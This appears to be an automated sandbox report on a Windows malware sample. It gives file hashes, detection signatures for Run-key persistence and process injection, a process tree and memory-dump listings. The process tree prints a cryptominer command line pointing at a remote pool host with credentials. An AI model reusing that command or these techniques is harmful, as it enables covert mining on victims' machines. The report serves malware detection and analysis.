Analysis

  • max time kernel
    151s
  • max time network
    168s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    12-07-2022 16:18

General

  • Target

    4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe

  • Size

    423KB

  • MD5

    465684a387882a2967ab06480bbd5e41

  • SHA1

    ca5de6208c51538cfd9658db7831194fc4ee928a

  • SHA256

    4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0

  • SHA512

    bab8fa9a91a88ea7bdd814d2b0046586c7d4b845d750af00b50b147db3b25ba4fabc3bacc2f78b1cd361c45ed585f0cd69d7c3ac7a9b21bfa4ecbbcc42d4b088

Score
10/10

Malware Config

Signatures

  • suricata: ET MALWARE DNS Reply Sinkhole - Microsoft - 199.2.137.0/24

    suricata: ET MALWARE DNS Reply Sinkhole - Microsoft - 199.2.137.0/24

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe
    "C:\Users\Admin\AppData\Local\Temp\4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1776
    • C:\Users\Admin\AppData\Local\Temp\4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe
      NdxUsil.exe
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:2008
    • C:\Users\Admin\AppData\Local\Temp\4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe
      NdxUsil.exe
      2⤵
      • Adds Run key to start application
      PID:1224
    • C:\Users\Admin\AppData\Local\Temp\4990dab91421d71f4008a56b6286d389ee0ad1291aa6c52eb5265181a83a6dd0.exe
      bitcoin-miner.exe -a 60 -l no -o http://kdusd.cantvenlinea.biz:1942/ -u zephyr.oioioioioioioioi -p Nu778800
      2⤵
        PID:1628

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1224-65-0x0000000000400000-0x0000000000404000-memory.dmp

      Filesize

      16KB

    • memory/1224-73-0x0000000000400000-0x0000000000404000-memory.dmp

      Filesize

      16KB

    • memory/1224-71-0x0000000000400000-0x0000000000404000-memory.dmp

      Filesize

      16KB

    • memory/1224-63-0x0000000000400000-0x0000000000404000-memory.dmp

      Filesize

      16KB

    • memory/1224-68-0x0000000000401037-mapping.dmp

    • memory/1224-64-0x0000000000400000-0x0000000000404000-memory.dmp

      Filesize

      16KB

    • memory/1224-66-0x0000000000400000-0x0000000000404000-memory.dmp

      Filesize

      16KB

    • memory/1628-80-0x00000000004F0000-0x000000000053C000-memory.dmp

      Filesize

      304KB

    • memory/1628-81-0x0000000000400000-0x000000000053C000-memory.dmp

      Filesize

      1.2MB

    • memory/1628-90-0x0000000000400000-0x000000000053B37A-memory.dmp

      Filesize

      1.2MB

    • memory/1628-88-0x0000000000400000-0x000000000053B37A-memory.dmp

      Filesize

      1.2MB

    • memory/1628-83-0x00000000754A1000-0x00000000754A3000-memory.dmp

      Filesize

      8KB

    • memory/1628-84-0x0000000000400000-0x000000000053B37A-memory.dmp

      Filesize

      1.2MB

    • memory/1628-79-0x00000000004F0000-0x000000000053C000-memory.dmp

      Filesize

      304KB

    • memory/1628-82-0x0000000000400000-0x000000000053B37A-memory.dmp

      Filesize

      1.2MB

    • memory/1628-74-0x0000000000400000-0x000000000053C000-memory.dmp

      Filesize

      1.2MB

    • memory/1628-72-0x0000000000400000-0x000000000053C000-memory.dmp

      Filesize

      1.2MB

    • memory/1628-70-0x0000000000400000-0x000000000053C000-memory.dmp

      Filesize

      1.2MB

    • memory/1628-76-0x0000000000400000-0x000000000053C000-memory.dmp

      Filesize

      1.2MB

    • memory/1628-77-0x0000000000401000-mapping.dmp

    • memory/1628-78-0x0000000000400000-0x000000000053B37A-memory.dmp

      Filesize

      1.2MB

    • memory/1776-54-0x0000000000400000-0x000000000046F000-memory.dmp

      Filesize

      444KB

    • memory/1776-55-0x0000000000300000-0x000000000036F000-memory.dmp

      Filesize

      444KB

    • memory/1776-89-0x0000000000400000-0x000000000046F000-memory.dmp

      Filesize

      444KB

    • memory/2008-62-0x0000000000400000-0x0000000000403000-memory.dmp

      Filesize

      12KB

    • memory/2008-56-0x0000000000400000-0x0000000000403000-memory.dmp

      Filesize

      12KB

    • memory/2008-57-0x0000000000400000-0x0000000000403000-memory.dmp

      Filesize

      12KB

    • memory/2008-58-0x0000000000400000-0x0000000000403000-memory.dmp

      Filesize

      12KB

    • memory/2008-59-0x0000000000400000-0x0000000000403000-memory.dmp

      Filesize

      12KB

    • memory/2008-60-0x0000000000401037-mapping.dmp